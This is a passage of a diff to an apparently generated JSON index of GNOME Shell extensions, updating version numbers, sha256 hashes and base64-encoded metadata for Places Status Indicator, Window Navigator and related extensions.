"ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA2Ngp9"},
-    "48": {"version": "68", "sha256": "1wjbk896i91x9gy8r1vrscc06l9zxc2wvlgafaa3f9khs4p63l7q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA2OAp9"}
+    "47": {"version": "70", "sha256": "1hid8mgwa154nn3crijnmpkm7zri491rgk5vkx2dszhqr02ss5l7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3MAp9"},
+    "48": {"version": "69", "sha256": "17zmnf1vm6anj2w2akdpdj75jcbwd1c3l7hl5i1ydf4dzh3b0c0b", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBhIG1lbnUgZm9yIHF1aWNrbHkgbmF2aWdhdGluZyBwbGFjZXMgaW4gdGhlIHN5c3RlbS5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogInBsYWNlcy1tZW51IiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXBsYWNlcy1tZW51IiwKICAibmFtZSI6ICJQbGFjZXMgU3RhdHVzIEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wbGFjZXMtbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJwbGFjZXMtbWVudUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA2OQp9"}
   }}
-, {"uuid": "windowsNavigator@gnome-shell-extensions.gcampax.github.com", "name": "Window Navigator", "pname": "windownavigator", "description": "Allow keyboard selection of windows and workspaces in overlay mode. <Ctrl>number selects a workspace, and <Alt>number selects a window.", "link": "https://extensions.gnome.org/extension/10/windownavigator/", "shell_version_map": {
+, {"uuid": "windowsNavigator@gnome-shell-extensions.gcampax.github.com", "name": "windowNavigator", "pname": "windownavigator", "description": "Allow keyboard selection of windows and workspaces in overlay mode. <Ctrl>number selects a workspace, and <Alt>number selects a window.", "link": "https://extensions.gnome.org/extension/10/windownavigator/", "shell_version_map": {
     "38": {"version": "49", "sha256": "1rzfnssk0iw1ysaya79ksghikkr1rpm41h2w39cz142fby6kip2d", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgIm5hbWUiOiAid2luZG93TmF2aWdhdG9yIiwKICAib3JpZ2luYWwtYXV0aG9yIjogInphc3BpcmVAcmFtYmxlci5ydSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy53aW5kb3dzTmF2aWdhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93c05hdmlnYXRvckBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0OQp9"},
     "40": {"version": "54", "sha256": "0y41w3lxbnhb709n7ynq21nhhc9p4j6fvyjzfw0aw8ysjc8f54iv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgIm5hbWUiOiAid2luZG93TmF2aWdhdG9yIiwKICAib3JpZ2luYWwtYXV0aG9yIjogInphc3BpcmVAcmFtYmxlci5ydSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy53aW5kb3dzTmF2aWdhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogIndpbmRvd3NOYXZpZ2F0b3JAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNTQKfQ=="},
     "41": {"version": "56", "sha256": "0k404ig42y94j9ysfyvzk0ca5r7f70digwjyjf2cn3py72bs0slg", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIndpbmRvd05hdmlnYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJ6YXNwaXJlQHJhbWJsZXIucnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93c05hdmlnYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDEiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJ3aW5kb3dzTmF2aWdhdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDU2Cn0="},
@@ -79,8 +79,8 @@
     "44": {"version": "59", "sha256": "1pa1i7scsjj91dql0v6zajyx30w446r1cxknl0dp1fpmydqwxjpl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIndpbmRvd05hdmlnYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJ6YXNwaXJlQHJhbWJsZXIucnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93c05hdmlnYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJ3aW5kb3dzTmF2aWdhdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDU5Cn0="},
     "45": {"version": "62", "sha256": "10d6hj0nbnfq55lqjjmilb8f6v2cv70kk6bnzyj3cn832hrz959a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIndpbmRvd05hdmlnYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJ6YXNwaXJlQHJhbWJsZXIucnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93c05hdmlnYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJ3aW5kb3dzTmF2aWdhdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDYyCn0="},
     "46": {"version": "67", "sha256": "0qrmfn8m1gqmmv2h0jbycq5hdm2p31ixrzvml9kx4js2km1n5097", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIndpbmRvd05hdmlnYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJ6YXNwaXJlQHJhbWJsZXIucnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93c05hdmlnYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJ3aW5kb3dzTmF2aWdhdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY3Cn0="},
-    "47": {"version": "68", "sha256": "0wnbm75v5gz6ji4qyhbic9bnbsnany86s0sirshvp9qf09lyg2wn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIndpbmRvd05hdmlnYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJ6YXNwaXJlQHJhbWJsZXIucnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93c05hdmlnYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJ3aW5kb3dzTmF2aWdhdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDY4Cn0="},
-    "48": {"version": "76", "sha256": "0q4lngxn2i3j9i733r6nllq8bl7ikbpn3bdnr62pm5shas6cnkf8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIldpbmRvdyBOYXZpZ2F0b3IiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiemFzcGlyZUByYW1ibGVyLnJ1IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLndpbmRvd3NOYXZpZ2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93c05hdmlnYXRvckBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3Ngp9"}
+    "47": {"version": "78", "sha256": "142a6wip9p273bwsnx8bzd3lf7a8lq00jq0zmb5isdbz93xmg1jf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIndpbmRvd05hdmlnYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJ6YXNwaXJlQHJhbWJsZXIucnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93c05hdmlnYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJ3aW5kb3dzTmF2aWdhdG9yQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDc4Cn0="},
+    "48": {"version": "77", "sha256": "1y2qhg7hk92ciqnq7mih727p9qsiqy516ack01c7crshqxcwmbpk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93IGtleWJvYXJkIHNlbGVjdGlvbiBvZiB3aW5kb3dzIGFuZCB3b3Jrc3BhY2VzIGluIG92ZXJsYXkgbW9kZS4gPEN0cmw+bnVtYmVyIHNlbGVjdHMgYSB3b3Jrc3BhY2UsIGFuZCA8QWx0Pm51bWJlciBzZWxlY3RzIGEgd2luZG93LiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3dzTmF2aWdhdG9yIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXdpbmRvd3NOYXZpZ2F0b3IiLAogICJuYW1lIjogIldpbmRvdyBOYXZpZ2F0b3IiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiemFzcGlyZUByYW1ibGVyLnJ1IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLndpbmRvd3NOYXZpZ2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93c05hdmlnYXRvckBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3Nwp9"}
   }}
 , {"uuid": "Applications_Menu@rmy.pobox.com", "name": "Frippery Applications Menu", "pname": "applications-menu", "description": "Replace Activities button with an Applications menu", "link": "https://extensions.gnome.org/extension/13/applications-menu/", "shell_version_map": {
     "38": {"version": "45", "sha256": "0kg9dq1ssa11xizb31kcq3p724qzm1cmf30wriqffj043n5nd125", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlcGxhY2UgQWN0aXZpdGllcyBidXR0b24gd2l0aCBhbiBBcHBsaWNhdGlvbnMgbWVudSIsCiAgImdldHRleHQtZG9tYWluIjogImZyaXBwZXJ5LWFwcGxpY2F0aW9ucy1tZW51IiwKICAibmFtZSI6ICJGcmlwcGVyeSBBcHBsaWNhdGlvbnMgTWVudSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZnJpcHBlcnkuYXBwbGljYXRpb25zLW1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzgiCiAgXSwKICAidXJsIjogImh0dHA6Ly9mcmlwcGVyeS5vcmcvZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAiQXBwbGljYXRpb25zX01lbnVAcm15LnBvYm94LmNvbSIsCiAgInZlcnNpb24iOiA0NQp9"},
@@ -103,8 +103,8 @@
     "44": {"version": "51", "sha256": "1j9nba9r5a56c2ks61jbrr6n8gc470g4c0lig9r4angqhc6sn7bl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImF1dG8tbW92ZS13aW5kb3dzQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDUxCn0="},
     "45": {"version": "54", "sha256": "11gxlyp83096ky0iqd8svn802ih7knvhn3qml6532c1h2xv8krlp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1vdmUgYXBwbGljYXRpb25zIHRvIHNwZWNpZmljIHdvcmtzcGFjZXMgd2hlbiB0aGV5IGNyZWF0ZSB3aW5kb3dzLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJhdXRvLW1vdmUtd2luZG93cyIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi1hdXRvLW1vdmUtd2luZG93cyIsCiAgIm5hbWUiOiAiQXV0byBNb3ZlIFdpbmRvd3MiLAogICJvcmlnaW5hbC1hdXRob3JzIjogWwogICAgImFsZXNzYW5kcm8uY3Jpc21hbmlAZ21haWwuY29tIiwKICAgICJ0aG9tYXMuYm91ZmZvbkBnbWFpbC5jb20iCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmF1dG8tbW92ZS13aW5kb3dzIiwKICAic2hlbGwtdmVyc2lvbiI6IFs